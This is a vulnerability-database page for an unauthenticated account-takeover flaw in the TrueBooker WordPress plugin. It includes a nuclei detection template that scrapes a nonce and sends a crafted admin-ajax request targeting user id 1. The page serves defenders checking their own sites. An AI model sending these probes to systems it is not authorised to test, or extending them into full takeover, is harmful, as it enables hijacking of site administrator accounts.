Browse / CVEs / CVE-2026-18315
CVE-2026-18315· truebooker / truebooker-appointment-booking· CWE-639
TrueBooker <= 1.2.6 - Unauthenticated Authorization Bypass
TrueBooker – Appointment Booking and Scheduler System WordPress plugin <= 1.2.6 contains an authorization bypass through user-controlled key caused by lack of authentication in admin_user_create_cus AJAX handler, letting unauthenticated attackers take over any user account by overwriting email and using lost-password flow, exploit requires no authentication.
Impact
Unauthenticated attackers can take over any user account, including administrators, leading to full account compromise.
Fix
Update to the latest version of the TrueBooker plugin.
How to confirm it
Send: GET /wp-content/plugins/truebooker-appointment-booking/readme.txt
Positive when: status_code == 200 and contains(body, "TrueBooker") and compare_versions(plugin_version, "<= 1.2.6")
Send: GET /
Send: GET /booking/
Send: GET /appointment/
Send: GET /schedule/
Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains_all(body, "fname-error-front", "tba-popconfirm", "truebooker_error")Run it with nuclei: nuclei -id CVE-2026-18315 -u <target>
The full check
id: CVE-2026-18315
info:
name: TrueBooker <= 1.2.6 - Unauthenticated Authorization Bypass
author: 0x_Akoko
severity: critical
description: |
TrueBooker – Appointment Booking and Scheduler System WordPress plugin <= 1.2.6 contains an authorization bypass through user-controlled key caused by lack of authentication in admin_user_create_cus AJAX handler, letting unauthenticated attackers take over any user account by overwriting email and using lost-password flow, exploit requires no authentication.
impact: |
Unauthenticated attackers can take over any user account, including administrators, leading to full account compromise.
remediation: |
Update to the latest version of the TrueBooker plugin.
reference:
- https://patchstack.com/database/wordpress/plugin/truebooker-appointment-booking/vulnerability/wordpress-truebooker-plugin-1-2-6-unauthenticated-authorization-bypass-through-user-controlled-key-to-account-takeover-to-truebooker-wp-user-id-parameter-vulnerability
- https://github.com/nastar-id/CVE-2026-18315-PoC
- https://plugins.svn.wordpress.org/truebooker-appointment-booking/tags/1.2.6/main/function_ajax.php
- https://nvd.nist.gov/vuln/detail/CVE-2026-18315
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-18315
epss-score: 0.03026
epss-percentile: 0.87582
cwe-id: CWE-639
metadata:
verified: true
max-request: 6
vendor: truebooker
product: truebooker-appointment-booking
fofa-query: body="truebooker-appointment-booking"
publicwww-query: "/wp-content/plugins/truebooker-appointment-booking/"
tags: cve,cve2026,wordpress,wp,wp-plugin,truebooker,auth-bypass,account-takeover,unauth,vkev
flow: |
if (!http(1)) { stop(); }
http(2);
if (!template["nonce"]) { http(3); }
if (!template["nonce"]) { http(4); }
if (!template["nonce"]) { http(5); }
if (!template["nonce"]) { stop(); }
http(6);
http:
- raw:
- |
GET /wp-content/plugins/truebooker-appointment-booking/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "TrueBooker")'
- 'compare_versions(plugin_version, "<= 1.2.6")'
condition: and
internal: true
extractors:
- type: regex
name: plugin_version
group: 1
regex:
- '(?i)Stable tag:\s*([0-9.]+)'
internal: true
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
extractors:
- type: regex
name: nonce
group: 1
regex:
- 'ajax_object\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-zA-Z0-9]+)"'
internal: true
- raw:
- |
GET /booking/ HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
extractors:
- type: regex
name: nonce
group: 1
regex:
- 'ajax_object\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-zA-Z0-9]+)"'
internal: true
- raw:
- |
GET /appointment/ HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
extractors:
- type: regex
name: nonce
group: 1
regex:
- 'ajax_object\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-zA-Z0-9]+)"'
internal: true
- raw:
- |
GET /schedule/ HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
extractors:
- type: regex
name: nonce
group: 1
regex:
- 'ajax_object\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-zA-Z0-9]+)"'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=admin_user_create&security={{nonce}}&alldata=truebooker_wp_user_id%3D1
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "fname-error-front", "tba-popconfirm", "truebooker_error")'
condition: andReferences
- https://patchstack.com/database/wordpress/plugin/truebooker-appointment-booking/vulnerability/wordpress-truebooker-plugin-1-2-6-unauthenticated-authorization-bypass-through-user-controlled-key-to-account-takeover-to-truebooker-wp-user-id-parameter-vulnerability
- https://github.com/nastar-id/CVE-2026-18315-PoC
- https://plugins.svn.wordpress.org/truebooker-appointment-booking/tags/1.2.6/main/function_ajax.php
- https://nvd.nist.gov/vuln/detail/CVE-2026-18315
Use this check only on systems you are authorised to test. Where the data comes from